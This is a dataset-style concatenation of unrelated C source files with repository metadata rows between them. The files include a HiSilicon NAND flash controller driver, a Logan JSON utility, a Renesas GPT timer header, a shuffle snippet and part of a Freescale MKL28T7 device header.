unsigned int flag;
flag = hinfc_read(host, HINFC504_INTS);
/* store interrupts state */
host->irq_status |= flag;
if (flag & HINFC504_INTS_DMA) {
hinfc_write(host, HINFC504_INTCLR_DMA, HINFC504_INTCLR);
complete(&host->cmd_complete);
} else if (flag & HINFC504_INTS_CE) {
hinfc_write(host, HINFC504_INTCLR_CE, HINFC504_INTCLR);
} else if (flag & HINFC504_INTS_UE) {
hinfc_write(host, HINFC504_INTCLR_UE, HINFC504_INTCLR);
}
return IRQ_HANDLED;
}
static int hisi_nand_read_page_hwecc(struct nand_chip *chip, uint8_t *buf,
int oob_required, int page)
{
struct mtd_info *mtd = nand_to_mtd(chip);
struct hinfc_host *host = nand_get_controller_data(chip);
int max_bitflips = 0, stat = 0, stat_max = 0, status_ecc;
int stat_1, stat_2;
nand_read_page_op(chip, page, 0, buf, mtd->writesize);
chip->legacy.read_buf(chip, chip->oob_poi, mtd->oobsize);
/* errors which can not be corrected by ECC */
if (host->irq_status & HINFC504_INTS_UE) {
mtd->ecc_stats.failed++;
} else if (host->irq_status & HINFC504_INTS_CE) {
/* TODO: need add other ECC modes! */
switch (chip->ecc.strength) {
case 16:
status_ecc = hinfc_read(host, HINFC504_ECC_STATUS) >>
HINFC504_ECC_16_BIT_SHIFT & 0x0fff;
stat_2 = status_ecc & 0x3f;
stat_1 = status_ecc >> 6 & 0x3f;
stat = stat_1 + stat_2;
stat_max = max_t(int, stat_1, stat_2);
}
mtd->ecc_stats.corrected += stat;
max_bitflips = max_t(int, max_bitflips, stat_max);
}
host->irq_status = 0;
return max_bitflips;
}
static int hisi_nand_read_oob(struct nand_chip *chip, int page)
{
struct mtd_info *mtd = nand_to_mtd(chip);
struct hinfc_host *host = nand_get_controller_data(chip);
nand_read_oob_op(chip, page, 0, chip->oob_poi, mtd->oobsize);
if (host->irq_status & HINFC504_INTS_UE) {
host->irq_status = 0;
return -EBADMSG;
}
host->irq_status = 0;
return 0;
}
static int hisi_nand_write_page_hwecc(struct nand_chip *chip,
const uint8_t *buf, int oob_required,
int page)
{
struct mtd_info *mtd = nand_to_mtd(chip);
nand_prog_page_begin_op(chip, page, 0, buf, mtd->writesize);
if (oob_required)
chip->legacy.write_buf(chip, chip->oob_poi, mtd->oobsize);
return nand_prog_page_end_op(chip);
}
static void hisi_nfc_host_init(struct hinfc_host *host)
{
struct nand_chip *chip = &host->chip;
unsigned int flag = 0;
host->version = hinfc_read(host, HINFC_VERSION);
host->addr_cycle = 0;
host->addr_value[0] = 0;
host->addr_value[1] = 0;
host->cache_addr_value[0] = ~0;
host->cache_addr_value[1] = ~0;
host->chipselect = 0;
/* default page size: 2K, ecc_none. need modify */
flag = HINFC504_CON_OP_MODE_NORMAL | HINFC504_CON_READY_BUSY_SEL
| ((0x001 & HINFC504_CON_PAGESIZE_MASK)
<< HINFC504_CON_PAGEISZE_SHIFT)
| ((0x0 & HINFC504_CON_ECCTYPE_MASK)
<< HINFC504_CON_ECCTYPE_SHIFT)
| ((chip->options & NAND_BUSWIDTH_16) ?
HINFC504_CON_BUS_WIDTH : 0);
hinfc_write(host, flag, HINFC504_CON);
memset(host->mmio, 0xff, HINFC504_BUFFER_BASE_ADDRESS_LEN);
hinfc_write(host, SET_HINFC504_PWIDTH(HINFC504_W_LATCH,
HINFC504_R_LATCH, HINFC504_RW_LATCH), HINFC504_PWIDTH);
/* enable DMA irq */
hinfc_write(host, HINFC504_INTEN_DMA, HINFC504_INTEN);
}
static int hisi_ooblayout_ecc(struct mtd_info *mtd, int section,
struct mtd_oob_region *oobregion)
{
/* FIXME: add ECC bytes position */
return -ENOTSUPP;
}
static int hisi_ooblayout_free(struct mtd_info *mtd, int section,
struct mtd_oob_region *oobregion)
{
if (section)
return -ERANGE;
oobregion->offset = 2;
oobregion->length = 6;
return 0;
}
static const struct mtd_ooblayout_ops hisi_ooblayout_ops = {
.ecc = hisi_ooblayout_ecc,
.free = hisi_ooblayout_free,
};
static int hisi_nfc_ecc_probe(struct hinfc_host *host)
{
unsigned int flag;
int size, strength, ecc_bits;
struct device *dev = host->dev;
struct nand_chip *chip = &host->chip;
struct mtd_info *mtd = nand_to_mtd(chip);
size = chip->ecc.size;
strength = chip->ecc.strength;
if (size != 1024) {
dev_err(dev, "error ecc size: %d\n", size);
return -EINVAL;
}
if ((size == 1024) && ((strength != 8) && (strength != 16) &&
(strength != 24) && (strength != 40))) {
dev_err(dev, "ecc size and strength do not match\n");
return -EINVAL;
}
chip->ecc.size = size;
chip->ecc.strength = strength;
chip->ecc.read_page = hisi_nand_read_page_hwecc;
chip->ecc.read_oob = hisi_nand_read_oob;
chip->ecc.write_page = hisi_nand_write_page_hwecc;
switch (chip->ecc.strength) {
case 16:
ecc_bits = 6;
if (mtd->writesize == 2048)
mtd_set_ooblayout(mtd, &hisi_ooblayout_ops);
/* TODO: add more page size support */
break;
/* TODO: add more ecc strength support */
default:
dev_err(dev, "not support strength: %d\n", chip->ecc.strength);
return -EINVAL;
}
flag = hinfc_read(host, HINFC504_CON);
/* add ecc type configure */
flag |= ((ecc_bits & HINFC504_CON_ECCTYPE_MASK)
<< HINFC504_CON_ECCTYPE_SHIFT);
hinfc_write(host, flag, HINFC504_CON);
/* enable ecc irq */
flag = hinfc_read(host, HINFC504_INTEN) & 0xfff;
hinfc_write(host, flag | HINFC504_INTEN_UE | HINFC504_INTEN_CE,
HINFC504_INTEN);
return 0;
}
static int hisi_nfc_attach_chip(struct nand_chip *chip)
{
struct mtd_info *mtd = nand_to_mtd(chip);
struct hinfc_host *host = nand_get_controller_data(chip);
int flag;
host->buffer = dmam_alloc_coherent(host->dev,
mtd->writesize + mtd->oobsize,
&host->dma_buffer, GFP_KERNEL);
if (!host->buffer)
return -ENOMEM;
host->dma_oob = host->dma_buffer + mtd->writesize;
memset(host->buffer, 0xff, mtd->writesize + mtd->oobsize);
flag = hinfc_read(host, HINFC504_CON);
flag &= ~(HINFC504_CON_PAGESIZE_MASK << HINFC504_CON_PAGEISZE_SHIFT);
switch (mtd->writesize) {
case 2048:
flag |= (0x001 << HINFC504_CON_PAGEISZE_SHIFT);
break;
/*
* TODO: add more pagesize support,
* default pagesize has been set in hisi_nfc_host_init
*/
default:
dev_err(host->dev, "NON-2KB page size nand flash\n");
return -EINVAL;
}
hinfc_write(host, flag, HINFC504_CON);
if (chip->ecc.mode == NAND_ECC_HW)
hisi_nfc_ecc_probe(host);
return 0;
}
static const struct nand_controller_ops hisi_nfc_controller_ops = {
.attach_chip = hisi_nfc_attach_chip,
};
static int hisi_nfc_probe(struct platform_device *pdev)
{
int ret = 0, irq, max_chips = HINFC504_MAX_CHIP;
struct device *dev = &pdev->dev;
struct hinfc_host *host;
struct nand_chip *chip;
struct mtd_info *mtd;
struct resource *res;
struct device_node *np = dev->of_node;
host = devm_kzalloc(dev, sizeof(*host), GFP_KERNEL);
if (!host)
return -ENOMEM;
host->dev = dev;
platform_set_drvdata(pdev, host);
chip = &host->chip;
mtd = nand_to_mtd(chip);
irq = platform_get_irq(pdev, 0);
if (irq < 0)
return -ENXIO;
res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
host->iobase = devm_ioremap_resource(dev, res);
if (IS_ERR(host->iobase))
return PTR_ERR(host->iobase);
res = platform_get_resource(pdev, IORESOURCE_MEM, 1);
host->mmio = devm_ioremap_resource(dev, res);
if (IS_ERR(host->mmio)) {
dev_err(dev, "devm_ioremap_resource[1] fail\n");
return PTR_ERR(host->mmio);
}
mtd->name = "hisi_nand";
mtd->dev.parent = &pdev->dev;
nand_set_controller_data(chip, host);
nand_set_flash_node(chip, np);
chip->legacy.cmdfunc = hisi_nfc_cmdfunc;
chip->legacy.select_chip = hisi_nfc_select_chip;
chip->legacy.read_byte = hisi_nfc_read_byte;
chip->legacy.write_buf = hisi_nfc_write_buf;
chip->legacy.read_buf = hisi_nfc_read_buf;
chip->legacy.chip_delay = HINFC504_CHIP_DELAY;
chip->legacy.set_features = nand_get_set_features_notsupp;
chip->legacy.get_features = nand_get_set_features_notsupp;
hisi_nfc_host_init(host);
ret = devm_request_irq(dev, irq, hinfc_irq_handle, 0x0, "nandc", host);
if (ret) {
dev_err(dev, "failed to request IRQ\n");
return ret;
}
chip->legacy.dummy_controller.ops = &hisi_nfc_controller_ops;
ret = nand_scan(chip, max_chips);
if (ret)
return ret;
ret = mtd_device_register(mtd, NULL, 0);
if (ret) {
dev_err(dev, "Err MTD partition=%d\n", ret);
nand_cleanup(chip);
return ret;
}
return 0;
}
static int hisi_nfc_remove(struct platform_device *pdev)
{
struct hinfc_host *host = platform_get_drvdata(pdev);
nand_release(&host->chip);
return 0;
}
#ifdef CONFIG_PM_SLEEP
static int hisi_nfc_suspend(struct device *dev)
{
struct hinfc_host *host = dev_get_drvdata(dev);
unsigned long timeout = jiffies + HINFC504_NFC_PM_TIMEOUT;
while (time_before(jiffies, timeout)) {
if (((hinfc_read(host, HINFC504_STATUS) & 0x1) == 0x0) &&
(hinfc_read(host, HINFC504_DMA_CTRL) &
HINFC504_DMA_CTRL_DMA_START)) {
cond_resched();
return 0;
}
}
dev_err(host->dev, "nand controller suspend timeout.\n");
return -EAGAIN;
}
static int hisi_nfc_resume(struct device *dev)
{
int cs;
struct hinfc_host *host = dev_get_drvdata(dev);
struct nand_chip *chip = &host->chip;
for (cs = 0; cs < nanddev_ntargets(&chip->base); cs++)
hisi_nfc_send_cmd_reset(host, cs);
hinfc_write(host, SET_HINFC504_PWIDTH(HINFC504_W_LATCH,
HINFC504_R_LATCH, HINFC504_RW_LATCH), HINFC504_PWIDTH);
return 0;
}
#endif
static SIMPLE_DEV_PM_OPS(hisi_nfc_pm_ops, hisi_nfc_suspend, hisi_nfc_resume);
static const struct of_device_id nfc_id_table[] = {
{ .compatible = "hisilicon,504-nfc" },
{}
};
MODULE_DEVICE_TABLE(of, nfc_id_table);
static struct platform_driver hisi_nfc_driver = {
.driver = {
.name = "hisi_nand",
.of_match_table = nfc_id_table,
.pm = &hisi_nfc_pm_ops,
},
.probe = hisi_nfc_probe,
.remove = hisi_nfc_remove,
};
module_platform_driver(hisi_nfc_driver);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Zhou Wang");
MODULE_AUTHOR("Zhiyong Cai");
MODULE_DESCRIPTION("Hisilicon Nand Flash Controller Driver");
| [
"erik.moqvist@gmail.com"
] | erik.moqvist@gmail.com |
0a10bbc04f8461340dbab0290df7748e275beeda | ee8e515198e114ff25e59c23e7b6b34cffec5baa | /logan/src/main/jni/json_util.c | 578a58e2f6ee99d72e83ff94362123c0cef4f797 | [] | no_license | MrCodeSniper/ModuleSperate | 6e7e4356a4bd9778c85195c4b6e9eb4e5450948f | c3441bacf61237f06e6acd27a958adcba48094ed | refs/heads/master | 2020-04-02T04:37:15.943300 | 2018-11-05T12:57:55 | 2018-11-05T12:57:55 | 154,025,487 | 2 | 0 | null | null | null | null | UTF-8 | C | false | false | 4,668 | c | /*
* Copyright (c) 2018-present, 美团点评
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include <stdlib.h>
#include <string.h>
#include "json_util.h"
#include "cJSON.h"
Json_map_logan *create_json_map_logan(void) {
Json_map_logan *item = malloc(sizeof(Json_map_logan));
if (NULL != item)
memset(item, 0, sizeof(Json_map_logan));
return item;
}
int is_empty_json_map_clogan(Json_map_logan *item) {
Json_map_logan temp;
memset(&temp, 0, sizeof(Json_map_logan));
if (memcmp(item, &temp, sizeof(Json_map_logan)) == 0) {
return 1;
}
return 0;
}
void add_item_string_clogan(Json_map_logan *map, const char *key, const char *value) {
if (NULL != map && NULL != value && NULL != key && strnlen(key, 128) > 0) {
Json_map_logan *item = map;
Json_map_logan *temp = item;
if (!is_empty_json_map_clogan(item)) {
while (NULL != item->nextItem) {
item = item->nextItem;
}
temp = create_json_map_logan();
item->nextItem = temp;
}
if (NULL != temp) {
temp->type = CLOGAN_JSON_MAP_STRING;
temp->key = (char *) key;
temp->valueStr = value;
}
}
}
void add_item_number_clogan(Json_map_logan *map, const char *key, double number) {
if (NULL != map && NULL != key && strnlen(key, 128) > 0) {
Json_map_logan *item = map;
Json_map_logan *temp = item;
if (!is_empty_json_map_clogan(item)) {
while (NULL != item->nextItem) {
item = item->nextItem;
}
temp = create_json_map_logan();
item->nextItem = temp;
}
if (NULL != temp) {
temp->type = CLOGAN_JSON_MAP_NUMBER;
temp->key = (char *) key;
temp->valueNumber = number;
}
}
}
void add_item_bool_clogan(Json_map_logan *map, const char *key, int boolValue) {
if (NULL != map && NULL != key && strnlen(key, 128) > 0) {
Json_map_logan *item = map;
Json_map_logan *temp = item;
if (!is_empty_json_map_clogan(item)) {
while (NULL != item->nextItem) {
item = item->nextItem;
}
temp = create_json_map_logan();
item->nextItem = temp;
}
if (NULL != temp) {
temp->type = CLOGAN_JSON_MAP_BOOL;
temp->key = (char *) key;
temp->valueBool = boolValue;
}
}
}
void delete_json_map_clogan(Json_map_logan *map) {
if (NULL != map) {
Json_map_logan *item = map;
Json_map_logan *temp = NULL;
do {
temp = item->nextItem;
free(item);
item = temp;
} while (NULL != item);
}
}
void inflate_json_by_map_clogan(cJSON *root, Json_map_logan *map) {
if (NULL != root && NULL != map) {
Json_map_logan *item = map;
do {
switch (item->type) {
case CLOGAN_JSON_MAP_STRING:
if (NULL != item->valueStr) {
cJSON_AddStringToObject(root, item->key, item->valueStr);
}
break;
case CLOGAN_JSON_MAP_NUMBER:
cJSON_AddNumberToObject(root, item->key, item->valueNumber);
break;
case CLOGAN_JSON_MAP_BOOL:
cJSON_AddBoolToObject(root, item->key, item->valueBool);
break;
default:
break;
}
item = item->nextItem;
} while (NULL != item);
}
}
| [
"woshichenhong12@gmail.com"
] | woshichenhong12@gmail.com |
3fa4deeff297f441507cd55855a6c1d5033dd06a | 97b0793dc872963d1f816c7250857ffc4792b611 | /Temp/StagingArea/Data/il2cppOutput/t375.h | b794387f7bc862676b3ee61167ea1c3e0d790650 | [] | no_license | JamesMoulang/LudumDare32 | 1e63f2d46dd8d9e8cf52cfc33a1f0f98b08d3119 | 9826e0eba56c85ed8161c510ba91af5bee52eea4 | refs/heads/master | 2020-04-27T08:17:58.678320 | 2015-04-23T15:33:15 | 2015-04-23T15:33:15 | 34,171,493 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 84 | h | #pragma once
#include <stdint.h>
#include "t28.h"
struct t375 : public t28
{
};
| [
"james@jamess-MacBook.local"
] | james@jamess-MacBook.local |
863356038c34b1bd334c99e02d19bda1affa38d4 | 5690ea7ee5b3c37a63b646d791d3b13cdfe11276 | /Lesson008/synergy/ssp/src/driver/r_gpt/r_gpt_private_api.h | 2d98ae381385d13f4fab2ef1037f51fff8a413a0 | [] | no_license | iotcommunity/ajwrs | 5b3bbe2daaf986c106c547701479a48836fa11a7 | 663b1fd71659e399a54bbce91484a96b1cf6b7b6 | refs/heads/master | 2021-06-06T12:49:09.667711 | 2016-12-14T07:25:07 | 2016-12-14T07:25:07 | 74,212,164 | 1 | 1 | null | 2016-11-19T14:05:50 | 2016-11-19T14:05:47 | null | UTF-8 | C | false | false | 3,100 | h | /***********************************************************************************************************************
* Copyright [2015] Renesas Electronics Corporation and/or its licensors. All Rights Reserved.
*
* This file is part of Renesas SynergyTM Software Package (SSP)
*
* The contents of this file (the "contents") are proprietary and confidential to Renesas Electronics Corporation
* and/or its licensors ("Renesas") and subject to statutory and contractual protections.
*
* This file is subject to a Renesas SSP license agreement. Unless otherwise agreed in an SSP license agreement with
* Renesas: 1) you may not use, copy, modify, distribute, display, or perform the contents; 2) you may not use any name
* or mark of Renesas for advertising or publicity purposes or in connection with your use of the contents; 3) RENESAS
* MAKES NO WARRANTY OR REPRESENTATIONS ABOUT THE SUITABILITY OF THE CONTENTS FOR ANY PURPOSE; THE CONTENTS ARE PROVIDED
* "AS IS" WITHOUT ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
* PARTICULAR PURPOSE, AND NON-INFRINGEMENT; AND 4) RENESAS SHALL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, OR
* CONSEQUENTIAL DAMAGES, INCLUDING DAMAGES RESULTING FROM LOSS OF USE, DATA, OR PROJECTS, WHETHER IN AN ACTION OF
* CONTRACT OR TORT, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THE CONTENTS. Third-party contents
* included in this file may be subject to different terms.
**********************************************************************************************************************/
#ifndef R_GPT_PRIVATE_API_H
#define R_GPT_PRIVATE_API_H
/***********************************************************************************************************************
* Private Instance API Functions. DO NOT USE! Use functions through Interface API structure instead.
**********************************************************************************************************************/
ssp_err_t R_GPT_TimerOpen (timer_ctrl_t * const p_ctrl,
timer_cfg_t const * const p_cfg);
ssp_err_t R_GPT_Stop (timer_ctrl_t * const p_ctrl);
ssp_err_t R_GPT_Start (timer_ctrl_t * const p_ctrl);
ssp_err_t R_GPT_Reset (timer_ctrl_t * const p_ctrl);
ssp_err_t R_GPT_PeriodSet (timer_ctrl_t * const p_ctrl,
timer_size_t const period,
timer_unit_t const unit);
ssp_err_t R_GPT_DutyCycleSet (timer_ctrl_t * const p_ctrl,
timer_size_t const duty_cycle,
timer_pwm_unit_t const unit,
uint8_t const pin);
ssp_err_t R_GPT_CounterGet (timer_ctrl_t * const p_ctrl,
timer_size_t * const p_value);
ssp_err_t R_GPT_InfoGet (timer_ctrl_t * const p_ctrl,
timer_info_t * const p_info);
ssp_err_t R_GPT_Close (timer_ctrl_t * const p_ctrl);
ssp_err_t R_GPT_VersionGet (ssp_version_t * const p_version);
#endif /* R_GPT_PRIVATE_API_H */
| [
"lycannon@gmail.com"
] | lycannon@gmail.com |
cc94e9589a0628cbc07538acafa933505a68a9c6 | 7fa4ddec15e415f51a05b7636586400982bbc5c2 | /report/snippets/int_shuffle.c | 3c5398b606f0e916bdb220dc88a5237e1b18ae97 | [] | no_license | lucamuscat/CPS1011-SEM1-A-1920-Programming-Principles-in-C | 7e55843c0b507413a9c4aa2f1046506093c67332 | 8562dcb083bc2789225df1951c456398f4598432 | refs/heads/master | 2023-01-20T20:09:44.153336 | 2020-11-26T14:04:02 | 2020-11-26T14:04:02 | 223,026,296 | 0 | 3 | null | null | null | null | UTF-8 | C | false | false | 495 | c |
/*
Using Fisher-Yates shuffle algorithm
https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle
Code taken from
https://stackoverflow.com/questions/42321370/fisher-yates-shuffling-algorithm-in-c
- Tectrendz
*/
int shuffle(myint_t *array){
int tmp, j;
if(array->nums[0] == -1){
puts(NOT_GENERATED_ERROR);
return NOT_GENERATED;
}
for(size_t i = N-1; i > 0; --i){
j = random(i);
tmp = array->nums[j];
array -> nums[j] = array -> nums[i];
array -> nums[i] = tmp;
}
}
| [
"luca.muscat.19@um.edu.mt"
] | luca.muscat.19@um.edu.mt |
d919ff9c489fef6129bfe8a6fa8bfbd7d9dd32fa | f6eb1e0164e42bb4d18b7ea1d837dbaf178aa9ff | /Beginner's Guide to C/Chapter31ex1.c | 7adfb29499a00986bd204422bf0dd6f94550c174 | [] | no_license | TheMaxta/Learning-C | 2fb1fff61cd5aec1f27607bfd56f565762a1cafb | 54a643f9cd41c90fca2661b98b80fcaff3959eb8 | refs/heads/master | 2021-01-10T15:12:05.146534 | 2016-02-13T07:18:57 | 2016-02-13T07:18:57 | 48,865,147 | 0 | 1 | null | null | null | null | UTF-8 | C | false | false | 811 | c | // Example program #1 from Chapter 31 of Beginner's Guide to C
// File Chapter31ex1.c
/* The program demonstrates passing a variable to a function by value. */
#include <stdio.h>
int main()
{
int i; // we will pass this variable to half
char a;
printf("Please enter an integer... ");
scanf(" %d", &i);
// Now call the function, passing the value of i
printf("Type H to halve the input....");
scanf(" %c", &a);
if (a == 'H')
{
half(i); // Calls a function that halves i
}
else
{
printf("What did you say??\n");
}
// Shows that the function did not alter i's value
printf("In main(), i is still %d.\n", i);
return (0);
} // End of main function..
half(int i) // Receives the value of i
{
i = i / 2;
printf("Your value halved is %d.\n",i);
return(0); //Returns to main()
}
| [
"themaxta@gmail.com"
] | themaxta@gmail.com |
f55379f38bab8f3812f540fc65079485ce4082be | 2264a022af454d6928420be8683987aa8c76f4e7 | /test/kinetis/devices/MKL28T7/MKL28T7_CORE0.h | 206917ac397d2298a8843e9d3dc10841cd3cfeae | [
"BSD-3-Clause"
] | permissive | flit/argon-rtos | a73aad2941d57088353cfd605539b33c33e7c9c6 | 817b7ae85d28ef4f0c9103886e0340d51217592d | refs/heads/master | 2021-12-28T06:24:14.893228 | 2021-12-18T20:14:25 | 2021-12-18T20:14:25 | 15,456,572 | 61 | 15 | BSD-3-Clause | 2021-12-18T20:14:26 | 2013-12-26T16:56:18 | C | UTF-8 | C | false | false | 744,657 | h | /*
** ###################################################################
** Processors: MKL28T512VDC7_CORE0
** MKL28T512VLH7_CORE0
** MKL28T512VLL7_CORE0
** MKL28T512VMP7_CORE0
**
** Compilers: Keil ARM C/C++ Compiler
** Freescale C/C++ for Embedded ARM
** GNU C Compiler
** IAR ANSI C/C++ Compiler for ARM
**
** Reference manual: MKL28TRM, Rev. 0, Sept 30, 2015
** Version: rev. 1.7, 2015-05-16
** Build: b151123
**
** Abstract:
** CMSIS Peripheral Access Layer for MKL28T7_CORE0
**
** Copyright (c) 1997 - 2015 Freescale Semiconductor, Inc.
** All rights reserved.
**
** Redistribution and use in source and binary forms, with or without modification,
** are permitted provided that the following conditions are met:
**
** o Redistributions of source code must retain the above copyright notice, this list
** of conditions and the following disclaimer.
**
** o Redistributions in binary form must reproduce the above copyright notice, this
** list of conditions and the following disclaimer in the documentation and/or
** other materials provided with the distribution.
**
** o Neither the name of Freescale Semiconductor, Inc. nor the names of its
** contributors may be used to endorse or promote products derived from this
** software without specific prior written permission.
**
** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
** ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
** WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
** DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
** ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
** (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
** LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
** ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
** SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
**
** http: www.freescale.com
** mail: support@freescale.com
**
** Revisions:
** - rev. 1.0 (2015-03-25)
** Initial version for dual core.
** - rev. 1.1 (2015-04-08)
** Group channel registers for LPIT
** - rev. 1.2 (2015-04-15)
** Group channel registers for INTMUX
** - rev. 1.3 (2015-04-23)
** Correct memory map for different cores
** - rev. 1.4 (2015-05-06)
** Correct FOPT reset value
** Correct vector table size
** Remove parts with 256K flash size
** - rev. 1.5 (2015-05-08)
** Reduce register for XRDC
** - rev. 1.6 (2015-05-12)
** Add CMP
** DMAMUX channel count to 8
** Add PIDR for GPIO/FGPIO
** Rename PIT to LPIT in PCC
** SCG, USB register update
** SIM, TRGMUX1, TRNG, TSTMR0/1 base address update
** Add KEY related macros for WDOG
** - rev. 1.7 (2015-05-16)
** Add IRQS
**
** ###################################################################
*/
/*!
* @file MKL28T7_CORE0.h
* @version 1.7
* @date 2015-05-16
* @brief CMSIS Peripheral Access Layer for MKL28T7_CORE0
*
* CMSIS Peripheral Access Layer for MKL28T7_CORE0
*/
#ifndef _MKL28T7_CORE0_H_
#define _MKL28T7_CORE0_H_ /**< Symbol preventing repeated inclusion */
/** Memory map major version (memory maps with equal major version number are
* compatible) */
#define MCU_MEM_MAP_VERSION 0x0100U
/** Memory map minor version */
#define MCU_MEM_MAP_VERSION_MINOR 0x0007U
/* ----------------------------------------------------------------------------
-- Interrupt vector numbers
---------------------------------------------------------------------------- */
/*!
* @addtogroup Interrupt_vector_numbers Interrupt vector numbers
* @{
*/
/** Interrupt Number Definitions */
#define NUMBER_OF_INT_VECTORS 80 /**< Number of interrupts in the Vector table */
typedef enum IRQn {
/* Auxiliary constants */
NotAvail_IRQn = -128, /**< Not available device specific interrupt */
/* Core interrupts */
NonMaskableInt_IRQn = -14, /**< Non Maskable Interrupt */
HardFault_IRQn = -13, /**< Cortex-M0 SV Hard Fault Interrupt */
SVCall_IRQn = -5, /**< Cortex-M0 SV Call Interrupt */
PendSV_IRQn = -2, /**< Cortex-M0 Pend SV Interrupt */
SysTick_IRQn = -1, /**< Cortex-M0 System Tick Interrupt */
/* Device specific interrupts */
DMA0_04_IRQn = 0, /**< DMA0 channel 0/4 transfer complete */
DMA0_15_IRQn = 1, /**< DMA0 channel 1/5 transfer complete */
DMA0_26_IRQn = 2, /**< DMA0 channel 2/6 transfer complete */
DMA0_37_IRQn = 3, /**< DMA0 channel 3/7 transfer complete */
CTI0_DMA0_Error_IRQn = 4, /**< CTI0 or DMA0 error */
FLEXIO0_IRQn = 5, /**< FLEXIO0 */
TPM0_IRQn = 6, /**< TPM0 single interrupt vector for all sources */
TPM1_IRQn = 7, /**< TPM1 single interrupt vector for all sources */
TPM2_IRQn = 8, /**< TPM2 single interrupt vector for all sources */
LPIT0_IRQn = 9, /**< LPIT0 interrupt */
LPSPI0_IRQn = 10, /**< LPSPI0 single interrupt vector for all sources */
LPSPI1_IRQn = 11, /**< LPSPI1 single interrupt vector for all sources */
LPUART0_IRQn = 12, /**< LPUART0 status and error */
LPUART1_IRQn = 13, /**< LPUART1 status and error */
LPI2C0_IRQn = 14, /**< LPI2C0 interrupt */
LPI2C1_IRQn = 15, /**< LPI2C1 interrupt */
MU0_A_IRQn = 16, /**< MU0 Side A interrupt */
PORTA_IRQn = 17, /**< PORTA Pin detect */
PORTB_IRQn = 18, /**< PORTB Pin detect */
PORTC_IRQn = 19, /**< PORTC Pin detect */
PORTD_IRQn = 20, /**< PORTD Pin detect */
PORTE_IRQn = 21, /**< PORTE Pin detect */
LLWU0_IRQn = 22, /**< Low leakage wakeup 0 */
I2S0_IRQn = 23, /**< I2S0 interrupt */
USB0_IRQn = 24, /**< USB0 interrupt */
ADC0_IRQn = 25, /**< ADC0 interrupt */
LPTMR0_IRQn = 26, /**< LPTMR0 interrupt */
RTC_Seconds_IRQn = 27, /**< RTC seconds */
INTMUX0_0_IRQn = 28, /**< INTMUX0 channel 0 interrupt */
INTMUX0_1_IRQn = 29, /**< INTMUX0 channel 1 interrupt */
INTMUX0_2_IRQn = 30, /**< INTMUX0 channel 2 interrupt */
INTMUX0_3_IRQn = 31, /**< INTMUX0 channel 3 interrupt */
LPTMR1_IRQn = 32, /**< LPTMR1 interrupt (INTMUX source IRQ0) */
LPIT1_IRQn = 33, /**< LPIT1 interrupt (INTMUX source IRQ1) */
Reserved50_IRQn = 34, /**< Reserved interrupt */
Reserved51_IRQn = 35, /**< Reserved interrupt */
LPSPI2_IRQn = 36, /**< LPSPI2 single interrupt vector for all sources (INTMUX source IRQ4) */
LPUART2_IRQn = 37, /**< LPUART2 status and error (INTMUX source IRQ5) */
EMVSIM0_IRQn = 38, /**< EMVSIM0 interrupt (INTMUX source IRQ6) */
LPI2C2_IRQn = 39, /**< LPI2C2 interrupt (INTMUX source IRQ7) */
TSI0_IRQn = 40, /**< TSI0 interrupt (INTMUX source IRQ8) */
PMC_IRQn = 41, /**< PMC interrupt (INTMUX source IRQ9) */
FTFA_IRQn = 42, /**< FTFA interrupt (INTMUX source IRQ10) */
SCG_IRQn = 43, /**< SCG interrupt (INTMUX source IRQ11) */
WDOG0_IRQn = 44, /**< WDOG0 interrupt (INTMUX source IRQ12) */
DAC0_IRQn = 45, /**< DAC0 interrupt (INTMUX source IRQ13) */
TRNG_IRQn = 46, /**< TRNG interrupt (INTMUX source IRQ14) */
RCM_IRQn = 47, /**< RCM interrupt (INTMUX source IRQ15) */
CMP0_IRQn = 48, /**< CMP0 interrupt (INTMUX source IRQ16) */
CMP1_IRQn = 49, /**< CMP1 interrupt (INTMUX source IRQ17) */
RTC_IRQn = 50, /**< RTC Alarm interrupt (INTMUX source IRQ18) */
PORTM_IRQn = 51, /**< PORTM interrupt (INTMUX source IRQ19) */
Reserved68_IRQn = 52, /**< Reserved interrupt */
Reserved69_IRQn = 53, /**< Reserved interrupt */
